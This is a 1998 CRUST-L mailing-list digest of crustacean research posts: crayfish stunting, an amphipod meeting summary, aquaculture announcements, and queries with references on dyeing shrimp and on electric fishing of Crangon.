CRUST-L: Panilurus interruptus life cycle Re: CRUST-L: Electrical Crangons CRUST-L: New Amphipod homepage ---------------------------------------------------------------------- From: ""Dave O'Neill"" Date: Thu, 27 Aug 1998 15:23:12 -0400 Subject: CRUST-L: Precocious ovarian maturation of crab -Reply Liu Fenqui: I have nothing to share about crabs, but there is an analagous early maturation phenomenon in crayfish that can be reduced by increased feed and decreased density (Romaire et al., 1979. Growth and survival of stunted red swamp crayfish (Procambarus clarkii) in a feeding-stocking density experiment in Pools. Fresh Water Crayfish 4:331-336. Stunting is also seen in the other crayfish (Huner and Lindqvist, 1986. A stunted crayfish (Astacus astacus) population in central Finland. Freshwater Crayfish 6:156-165, and may occurr when larger crayfish apparently inhibit subordinates growth. It is related to poor water quality (Curtis and Jones, 1995. overview of of redclaw crayfish (Cherax quadricarinatus, farming practices in northern Australia. Freshwater Crayfish 10:456-468. There is some evidence that there is a minimum number of molts to maturity in P. clarkii. If they mature at the minimum number of molts they are stunted, conversely, if they molt more than the minimum number of times they are larger and more marketable. Aquaculturists are managing crayfish farms to produce larger crayfish by manipulating population density and food. I suspect that the early molt to maturity in crayfish is an adaptation that increases the chance of reproduction in an environment that is subject to rapid change. Perhaps you crabs are maturing early because of poor water quality, a high population density (social inhibition?) or sub-optimal feeding. Good luck. Dave O'Neill. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: abaldinger@oeb.harvard.edu (Adam Baldinger) Date: Fri, 28 Aug 1998 12:27:29 -0400 Subject: CRUST-L: Summary of post-ICC amphipod meeting IXth International Meeting on the Amphipoda (Amphipod Chatshop) Kronenburg (Germany) 26-30 July 1998 Wim Vader, Adam Baldinger & Traudl Krapp-Schickel This amphipod meeting directly followed the IVth International Crustacean Congress in Amsterdam. The small village of Kronenburg in the Eifel mountains of W. Germany formed a nice contrast to Amsterdam, where most participants had been the week prior. Thirty-five scientists from twelve countries on four continents took part in the amphipod meetings, some accompanied by their families whose presence increased the family atmosphere even more. The Amphipod Chatshop, was organized by Traudl Krapp Schickel (Bonn) and Wim Vader (Troms=F8). The unpretentious title chatshop was chosen because no official lectures or contributed papers were given, instead the meeting concentrated on a series of moderated discussions on topics of common interest. The discussions held were as follows: 27 July morning: ""Cladistic tools in amphipod taxonomy,"" moderated by J=F8rgen Berge (Troms=F8). Cladistic analyses are rapidly becoming a vital p= art in amphipod taxonomy, but many workers are still unfamiliar with the theory and methods of this discipline. Berge introduced this topic based upon his own studies. This resulted in a lively discussion, that included the peculiar problems posed by the mosaic-like evolution of the Amphipoda, coupled to their almost total absence from the fossil record. Virtually no agreement on what constitutes apomorphic characters impedes the search for suitable outgroups. Numerous ingroup taxa and only a few representative outgroup taxa, results in analyses that may become skewed, because the many closely related ingroup-taxa more or less swamp the character traits in the few outgroup taxa. The role of molecular studies and how to integrate such results into cladistic analyses currently generated mostly by morphological characters was also discussed. 27 July afternoon: ""What should a taxonomic description look like?"" moderated by Oliver Coleman (Berlin). Several years ago, Olli distributed a circular letter with the same title, asking for as complete illustrations as possible, and suggesting that written text concentrate on points insufficient for illustration. He maintained that ""it is easier to understand a illustration than to visualize a written description."" There was general agreement on the importance of complete and detailed illustrations, but many colleagues also stressed the significance of written descriptions, particularly to explain species variation. A researcher should discern between publications that involve new species descriptions and/or generic or family level revisions from the taxonomic keys produced for the general biologist or ecologists. Both types are of vital importance, but it was agreed upon that these publications can not easily be combined in one paper. 28 July morning. ""Amphipod information in an electronic age,"" moderated by Alan Myers (Cork). A number of possibilities to distribute electronic information was discussed and included i.e: the development of an amphipod website, that could serve as a gateway for the Amphipod Newsletter, now temporarily stalled; deposition of and easy access to regional taxa and their distribution lists; type specimens and their museum location; and illustrated interactive keys (hopefully in DELTA-format). A sizable number of technical problems and pitfalls was noted: Such a website requires constant service by an expert, a significant amount of time for a dedicated and altruistic researcher (several younger colleagues were named) and it will require resources. A problem with an easily accessible list is quality control, i.e: who decides which entries are reliable, and will monitor and edit the taxonomic and distributional data? Stefan Koenemann (Norfolk, VA) promised to develop an amphipod homepage. Les Watling will scan Amphipod Newsletters 2-20 and Wim Vader has produced AN 21; all should be available soon to download on the web page. 28 July afternoon. ""Whither amphipod family-level taxonomy?"" This discussion was introduced by Les Watling (Maine), who gave his views on the plesiomorphic amphipod and on the position of the Amphipoda among the Peracarida. Currently the classification of the Amphipoda is still in a state of flux; the schedules of Jerry Barnard and Ed Bousfield, often not very compatible and neither of them based on cladistic analyses, are still prevalent. Discussions revolved around the bush-like evolution of the Amphipoda and envious comparisons to the Isopoda where the general classification appears clearer. Not unexpectedly, the classification problems of the Amphipoda were not solved! However, it was suggested that a cladistic analysis of the amphipod families should have high priority, simply to give a general idea of the overall relationships, and to generate topics for further studies. 29 July morning. ""Uniformity of terminology,"" moderated by Oliver Coleman. The primary question of this session was whether this discussion is necessary at all in such that ""we should not try to stifle colleagues by forcing everybody to use exactly the same terminology,"" a thesis forcefully defended. However, descriptions should be unequivocal and unambiguous. As an example, the terminology of setae, spines and teeth was discussed. Les Watling announced that a workshop on this topic will be held in Maine in the summer of 1999. 29 July afternoon. ""Illustrations in taxonomic descriptions."" This discussion was based on a note contribute by Kathy Conlan and Ed Hendrycks (Ottawa), with examples of good and poor illustrations, and a set of guidelines that illustrations should adhere to. These guidelines were generally accepted as important, although it was pointed out that they were a bit ""idealistic"" and difficult to adhere to with increasing publication costs. Among the points mentioned often inadequately defined in present illustrations (and descriptions!) were the pleopods, the oostegites (form and number), and the characteristics of immature and juvenile animals. ""Next amphipod meeting: when and where?"" moderated by Wim Vader (Troms=F8). The next International Crustacean Congress will be held in Melbourne in 2001, and many participants voted for an amphipod meeting or an amphipod-isopod consortium prior to or after the Congress (Tasmania and Sydney were mentioned). The next European Crustacean Conference will be in Lodz, Poland in 2002. Most of the participants expressed interest in having an amphipod meeting prior to the Melbourne Congress. Wanda Plaitis (Kreta) offered a preliminary invitation to hold the next amphipod meeting on Kreta in the summer of 1999. It was decided to have next amphipod meeting in 1999 and it should be in a regular format with contributed papers and invited lectures and posters. Wanda Plaitis, Wim Vader and Adam Baldinger are in the process of developing this proposal (PLEASE SEE BELOW). In addition to the ""chatshops,"" ICC contributed posters were arranged at the Eifelhaus, and magnificent photographs of Antarctic and Lake Baikal amphipods were shown by Gauthier Chapelle (Brussel). Also shown was a fascinating video on the biology of some amphipod species contributed by Les Watling. Ichiro Takeuchi (Japan) showed photographs from his Antarctic diving exploits. An evaluation of the chatshop format showed that most participants were satisfied with this informal meeting, especially when it is held directly following a large conference. Addresses: (WV) Troms=F8 Museum, Zool. Avd., N-9037 Troms=F8, Norway (wim@imv.uit.no) (AB) Museum of Comparative Zoology, 26 Oxford Street, Cambridge, MA 02138 US= A (abaldinger@oeb.harvard.edu) (TK-S) Museum A. Koenig, Adenauerrallee 150, D-53113 Bonn, Germany (Traudl.Krapp@uni-bonn.de) THE NEXT AMPHIPOD MEETING? We are proposing to have the next amphipod conference at Heraklion, Kreta (Crete, Kriti), Greece. To organize the meeting, we ask your input in the following: 1. If you're interested in attending this meeting in Kreta, when would you prefer it to take place? August 1999, September 1999, Spring 2000. Please indicate why or give another suggestion. 2. Do you plan (now) to contribute a paper or poster at this meeting? 3. Please give suggest topics and/or symposia you would be interested in. Thank you. Please respond to Adam Baldinger (abaldinger@oeb.harvard.edu) ****************************************************** Adam J. Baldinger Curatorial Associate in Malacology Museum of Comparative Zoology Harvard University, 26 Oxford Street Cambridge, MA 02138-2902 USA - ------------------------------------------------------ Ph: (617) 495-2468 Fax: (617) 495-5667 E-mail: abaldinger@oeb.harvard.edu http://www.mcz.harvard.edu/Departments/Mollusks ******************************************************* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Sergio Rodriguez Gil "" Date: Sat, 29 Aug 1998 08:43:25 ARG Subject: CRUST-L: Artemia Dear all: Where can I find how many tonns of Artemia cysts use each conuntry of America? Thanks in advance *********************************** Lic. Sergio Gustavo RODRIGUEZ GIL Snail Mail: Casilla de Correos 94 Sucursal 37(B) (1437) Buenos Aires - ARGENTINA E-mail: sergio@acufis.uba.ar Fax: ++54 1 924 5759 *********************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Revista AquaTIC Date: Mon, 31 Aug 1998 19:16:33 +0200 Subject: CRUST-L: Numero 4 de la Revista AquaTIC Dear friends Sorry for cross-postings and for writing in spanish part of this message, but this is the announcement of the NUMBER 4 of a electronic magazine of Aquaculture: AquaTIC =09 http://AquaTIC.unizar.es Thanks NACHO DE BLAS - --------------------------------------------------------------------- Estimados amigos, me complace informar la publicacion del CUARTO numero de la Revista AquaTIC dedicada a la acuicultura, cuyo URL es: http://AquaTIC.unizar.es En este cuarto numero pueden encontrar los siguientes articulos: =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D -EDITORIAL: NUEVAS LISTAS DE CORREO -NUEVA LISTA DE CORREO: ACUARG - ACUICULTURA ARGENTINA Cristian Alfredo Petracchi. Coordinador de la Lista de Correo AcuArg - Acuicultura Argentina=20 =20 -VACUNAS DNA EN ACUICULTURA.=20 Fern=E1ndez-Alonso, M., Estepa, A. y Coll, J.M. Centro de Investigaci=F3n en Sanidad Animal, INIA - CISA=20 -EFECTO DE LOS INHIBIDORES PRESENTES EN MATERIAS PRIMAS VEGETALES SOBRE LAS PROTEASAS ALCALINAS DE PECES Mart=EDnez D=EDaz, M.I. & Alarc=F3n L=F3pez, F.J. Dpto. Biolog=EDa= Aplicada. Escuela Polit=E9cnica Superior. Universidad de Almer=EDa.=20 -ESTUDIO EPIDEMIOLOGICO DE FACTORES DE RIESGO EN ACUICULTURA=20 Ortega, C., Muzquiz, J.L., Alonso, J.L., Fern=E1ndez, A.B. y Ruiz, I. Red Epidemiol=F3gica RATIO=20 =20 -REDUCCION DEL IMPACTO ECOLOGICO DE LAS OBRAS HIDRAULICAS EN LOS RIOS SALMONEROS DE NAVARRA Manuel Lamuela y Enrique Casti=E9n. Gobierno de Navarra=20 -ENFERMEDADES DE DECLARACION OBLIGATORIA EN PECES ( y II).=20 VIREMIA PRIMAVERAL DE LA CARPA (SVC) NECROSIS HEMATOPOYETICA EPIZOOTICA (EHN) HERPESVIROSIS DEL SALMON MASOU (HERPESVIRUS TIPO 2) Informaci=F3n ofrecida por el Laboratorio de Ictiopatolog=EDa. Facultad de Veterinaria. Universidad de Zaragoza=20 -ENFERMEDADES DE DECLARACION OBLIGATORIA EN MOLUSCOS (y II).=20 HAPLOSPORIDIOSIS (Haplosporidium nelsoni y Haplosporidium costale) PERKINSOSIS (Perkinsus marinus y Perkinsus olseni) IRODIVIROSIS (Oyster Velar Virus) Informaci=F3n ofrecida por Laboratorio de Ictiopatolog=EDa y Dr. Juan Anton= io Castillo. Dpto. de Parasitolog=EDa. Facultad de Veterinaria. Universidad de Zaragoza=20 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D ATENCION ATENCION ATENCION ATENCION ATENCION =20 Adem=E1s de estos articulos hemos agrupado nuestras secciones fijas= dedicadas a: -noticias -CURSOS Y CONGRESOS -informaciones de interes -recetas -webs de interes en acuicultura -FOROS DE DEBATE: AQUATIC-L -LEGISLACION en la seccion UTILES Quedamos a la espera de sus comentarios y sugerencias. Gracias por todo NACHO DE BLAS =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Revista AquaTIC Date: Mon, 31 Aug 1998 19:16:33 +0200 Subject: CRUST-L: Numero 4 de la Revista AquaTIC Content-Transfer-Encoding: quoted-printable Sender: owner-crust-l@vims.edu Precedence: bulk Reply-To: Revista AquaTIC Dear friends Sorry for cross-postings and for writing in spanish part of this message, but this is the announcement of the NUMBER 4 of a electronic magazine of Aquaculture: AquaTIC =09 http://AquaTIC.unizar.es Thanks NACHO DE BLAS - --------------------------------------------------------------------- Estimados amigos, me complace informar la publicacion del CUARTO numero de la Revista AquaTIC dedicada a la acuicultura, cuyo URL es: http://AquaTIC.unizar.es En este cuarto numero pueden encontrar los siguientes articulos: =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D -EDITORIAL: NUEVAS LISTAS DE CORREO -NUEVA LISTA DE CORREO: ACUARG - ACUICULTURA ARGENTINA Cristian Alfredo Petracchi. Coordinador de la Lista de Correo AcuArg - Acuicultura Argentina=20 =20 -VACUNAS DNA EN ACUICULTURA.=20 Fern=E1ndez-Alonso, M., Estepa, A. y Coll, J.M. Centro de Investigaci=F3n en Sanidad Animal, INIA - CISA=20 -EFECTO DE LOS INHIBIDORES PRESENTES EN MATERIAS PRIMAS VEGETALES SOBRE LAS PROTEASAS ALCALINAS DE PECES Mart=EDnez D=EDaz, M.I. & Alarc=F3n L=F3pez, F.J. Dpto. Biolog=EDa= Aplicada. Escuela Polit=E9cnica Superior. Universidad de Almer=EDa.=20 -ESTUDIO EPIDEMIOLOGICO DE FACTORES DE RIESGO EN ACUICULTURA=20 Ortega, C., Muzquiz, J.L., Alonso, J.L., Fern=E1ndez, A.B. y Ruiz, I. Red Epidemiol=F3gica RATIO=20 =20 -REDUCCION DEL IMPACTO ECOLOGICO DE LAS OBRAS HIDRAULICAS EN LOS RIOS SALMONEROS DE NAVARRA Manuel Lamuela y Enrique Casti=E9n. Gobierno de Navarra=20 -ENFERMEDADES DE DECLARACION OBLIGATORIA EN PECES ( y II).=20 VIREMIA PRIMAVERAL DE LA CARPA (SVC) NECROSIS HEMATOPOYETICA EPIZOOTICA (EHN) HERPESVIROSIS DEL SALMON MASOU (HERPESVIRUS TIPO 2) Informaci=F3n ofrecida por el Laboratorio de Ictiopatolog=EDa. Facultad de Veterinaria. Universidad de Zaragoza=20 -ENFERMEDADES DE DECLARACION OBLIGATORIA EN MOLUSCOS (y II).=20 HAPLOSPORIDIOSIS (Haplosporidium nelsoni y Haplosporidium costale) PERKINSOSIS (Perkinsus marinus y Perkinsus olseni) IRODIVIROSIS (Oyster Velar Virus) Informaci=F3n ofrecida por Laboratorio de Ictiopatolog=EDa y Dr. Juan Anton= io Castillo. Dpto. de Parasitolog=EDa. Facultad de Veterinaria. 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Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= - --DAA16435.904585729/kryptonite.sge.net-- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: hhillewaert@UNICALL.BE (Hans Hillewaert) Date: Tue, 01 Sep 1998 13:30:46 GMT Subject: CRUST-L: Coloured Shrimps Dear Crusters, We are currently doing a study on electric fisheries of brown shrimp = (Crangon crangon). The animals are filmed and then the film frames are = studied to find out how high the shrimps jumped. To mimic real environment, the shrimps = should be filmed in the dark (or with red light or maybe with UV light). Has anyone got experience with staining life shrimp for filming under = such conditions? Can we e.g. use a fluorescent dye? The shrimps should of= course not be influenced by the dye for the duration of the experiment (couple of = hours). If so could you tell us wich dye/light to use? thanks H. Hillewaert, K.Ghesquiere & H. Polet ___________________________________ hhillewaert@unicall.be http://uc2.unicall.be/RVZ Sea Fisheries Department Ankerstraat 1 B-8400 Oostende - Belgium tel +32 (0)59 320805 fax +32 (0)59 330629 ___________________________________ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: hhillewaert@UNICALL.BE (Hans Hillewaert) Date: Tue, 01 Sep 1998 13:31:59 GMT Subject: CRUST-L: Electrical Crangons Hi Crusters, We are currently doing a project on electric fishery on Crangon crangon. Could anybody give us some information about the physiology of locomotion= in shrimps (or Decapoda in general). We are particularly looking at the effects of electricity on the tail = muscles. References to books or publications would be great! Thanks, Hans Hillewaert & Katrien Ghesquiere ___________________________________ hhillewaert@unicall.be http://uc2.unicall.be/RVZ Sea Fisheries Department Ankerstraat 1 B-8400 Oostende - Belgium tel +32 (0)59 320805 fax +32 (0)59 330629 ___________________________________ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: oshel@terracom.net (Philip Oshel) Date: Tue, 1 Sep 1998 19:44:08 -0500 Subject: Re: CRUST-L: Coloured Shrimps Have you already looked at the shrimp under UV light? Arthropod cuticle is autofluorescent, although dimly in most critters. Some, like scorpions, fluoresce brightly. Maybe your shrimp do also. Phil >Dear Crusters, > >We are currently doing a study on electric fisheries of brown shrimp >(Crangon crangon). The animals are filmed and then the film frames are >studied to find out >how high the shrimps jumped. To mimic real environment, the shrimps should >be filmed in the dark (or with red light or maybe with UV light). >Has anyone got experience with staining life shrimp for filming under such >conditions? Can we e.g. use a fluorescent dye? The shrimps should of >course not be >influenced by the dye for the duration of the experiment (couple of >hours). If so could you tell us wich dye/light to use? > >thanks > >H. Hillewaert, K.Ghesquiere & H. Polet > >___________________________________ >hhillewaert@unicall.be >http://uc2.unicall.be/RVZ >Sea Fisheries Department >Ankerstraat 1 >B-8400 Oostende - Belgium >tel +32 (0)59 320805 >fax +32 (0)59 330629 >___________________________________ >=9D-=9D-=9D-=9D-=9D-=9D-=9D-=9D-=9D-=9D-=9D-=9D-=9D-=9D-=9D-=9D-=9D-=9D >To (un)subscribe to CRUST-L: >Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. >To post to CRUST-L, send messages to CRUST-L@VIMS.EDU >Send HELP to MAJORDOMO@VIMS.EDU for additional commands. >Archives available at http://www.vims.edu/~jeff/archive.htm >=9D-=9D-=9D-=9D-=9D-=9D-=9D-=9D-=9D-=9D-=9D-=9D-=9D-=9D-=9D-=9D-=9D-=9D }}}}}}}}}}}}}}}}}}}}}}}}}}{{{{{{{{{{{{{{{{{{{{{{{{{{ Philip Oshel PO Box 620068 Middleton, WI 53562 (608) 833-2885 oshel@terracom.net or poshel@hotmail.com =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Tierney Thys Date: 02 Sep 98 15:27:04 +0000 Subject: CRUST-L: Panilurus interruptus life cycle To all kind and informed researchers, Is anyone presently working on Panilurus interruptus? I am specifically = interested in its natural history, larval stages etc for filming purposes. Thanks so much for any info. = Tierney Thys, Ph.D. Shape of Life 167 Central Ave. Suite C Pacific Grove, CA 93950 ph: (831)-649-7474 fx: (831)-649-7475 tierney@seastudios.com =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: pnoel@CIMRS1.MNHN.FR (Pierre NOEL) Date: Thu, 3 Sep 1998 10:12:21 +0100 Subject: Re: CRUST-L: Electrical Crangons >Hi Crusters, >We are currently doing a project on electric fishery on Crangon crangon. >Could anybody give us some information about the physiology of locomotion in >shrimps (or Decapoda in general). >We are particularly looking at the effects of electricity on the tail muscles. >References to books or publications would be great! >Thanks,>Hans Hillewaert & Katrien Ghesquiere Dear Hans & al. * Here are some references related to the above question. Let me take this opportunity to present some thoughts : * While perfectioning again and again the fishing gears, the stocks of valuable sea-food will be depleted if nobody takes care of preservation of stocks. Overfishing is there in many places. This is well known now. * Another lesser known aspect of intensive fishing. In Amsterdam congress, I was very interested in the presentation of Glen Jamieson entitled ""Selective effects of fishing on the population dynamics of Crustacean"", explaining the inadvertent genetic selection for ealier sexual maturity and smaller adult size. We, scientists, have also to explain the dangers of such a situatiuon and to help to find solutions for this problem. Do you like prawn sized lobsters? shrimp sized prawns? and copepod sized shrimps? I prefer full sized specimens ! No Future ? Which Future ? Anyway, here are the references I can provide on the subject, associating the keywords Crangon-Decapoda/locomotion/electric fishing. Cheers. Pierre. ============== Gerdeaux D., Jestin J.M., 1978. Exemple d'application du chalut electrifie dans un milieu tempere tres mineralise. Annales de limnologie, 14 (3): 281-287. Halsband E., 1968. Electric installations for blocking or guiding fish in fresh water. in Vibert, R. (ed.) Application of Electricity in Interior Waters (Institut National de la Recherche Agronomique, Paris : 198-201. Manton S. M., 1950-1973. The evolution of arthropod locomotory mechanisms. Parts 1-11. Journal of the Linnean Society London, Zool., 41: 529-570; 42: 93-117, 118-166, 299-368.; 43: 153-187, 487-556; 44: 383-461; 45: 251-484; 46: 103-141; 51: 203-400; 53: 257-375. Nouvel L., 1936a. Sur un mode de regeneration des appendices locomoteurs, particulier aux Crangon. Comptes rendus de l'Academie des Sciences de Paris, 202: 584-585. Pringle C. M., Blake G. A., 1994? Quantitative effects of Atyid shrimp (Decapoda: Atyidae) on the depositional environment in a tropical stream: use of electricity for experimental exclusion. Canadian Journal of Fisheries and Aquatic sciences. Rothlisberg P. C., Hill B. J., Staples D. J. (eds), 1985. Second australian national prawn seminar. NPS2, Cleveland, Queensland, Australia : 368 pp. Ugolini A., Beugnon G., Vannini M., 1988 Orientation and escape reaction in Palaemonetes antennarius (Milne Edwards) (Natantia Palaemonidae). Monitore Zoologico Italiano, (NS), 22 (1): 105-109. Vannini M., Insom E., 1976. Notes on the behaviour of crustacean decapods in an electric field. Monitore Zoologico Italiano, (NS) 10: 265-269. For electric fishing, see also Westmann & al. 1978 as well as Cain & Avault, 1983, but I do not have presently the full references here with me. It might be helpful also to read general books such as : - - The Biology of Crustacea, vol. 7 (behavior), the chapter by W. F. Herrnkind on movements patterns and orientation. - - There is not much on locomotion in the Traite de Zologie. P.P.Grasse/J.Forest-Masson ed. - - Dr. H. G. Bronns Klassen und Ordnungen des Tierreichs ... especially the part on Decapoda by Buddenbrock (1945) 1, 7 (7) : pp. 921-1004, and others, including information on shrimps (Palaemon, Crangon...). - - And most probably many other papers. Pierre Y. Noel, Biologie des Invertebres marins, CNRS URA no699, Museum national d'Histoire naturelle, 55 rue Buffon, F-75005 Paris, France. e mail pnoel@mnhn.fr Tel +33 1 4079 3098 Fax +33 1 4079 3089 Visitez le serveur du Museum/Visit our Webserver (http://www.mnhn.fr) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Stefan Koenemann"" Date: Fri, 4 Sep 1998 10:30:37 EST Subject: CRUST-L: New Amphipod homepage To all 'amphipod' colleagues: Our new web project, a central web site about amphipod related research, is now accessible at: http://www.odu.edu/~jrh100f/amphome It is a first draft, or ""AH 1.0, Light Edition"", if you want (e.g., the page hit counter still needs to be activated - I am working on it). I called it The Amphipod Homepage and added some links we already had on our departmental sites. I think it is a good idea to provide each link with a short summary which would facilitate the search for specific information. So, if you send me the URLs of your web sites, please add some comments or a brief introduction that describes your site best (see, for example, The subterranean Amphipod Database on our new Amphipod Homepage). Any comments, suggestions, or ideas about additional topics or structural changes are welcome! Thanks a lot, Stefan Stefan Koenemann Department of Biological Sciences Old Dominion University Norfolk, VA 23529-0266 USA Tel: (757) 683-3606 Fax: (757) 683-5283 e-mail: biolgrad@odu.edu http://www.odu.edu/~jrh100f http://www.odu.edu/~jrh100f/amphipod =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #158 ***************************** crust-l-digest Thursday, 10 September 1998 Volume 01 : Number 159 CRUST-L: e-mail address for Gerhard Scholtz Re: CRUST-L: e-mail address for Gerhard Scholtz CRUST-L: Shoals of Capricorn Programme CRUST-L: Euphausiids for DNA CRUST-L: planktonic crustacean keys CRUST-L: BOUNCE crust-l@back.vims.edu: Non-member submission from [""P. Mariappan"" ] CRUST-L: Re: Coloured shrimp 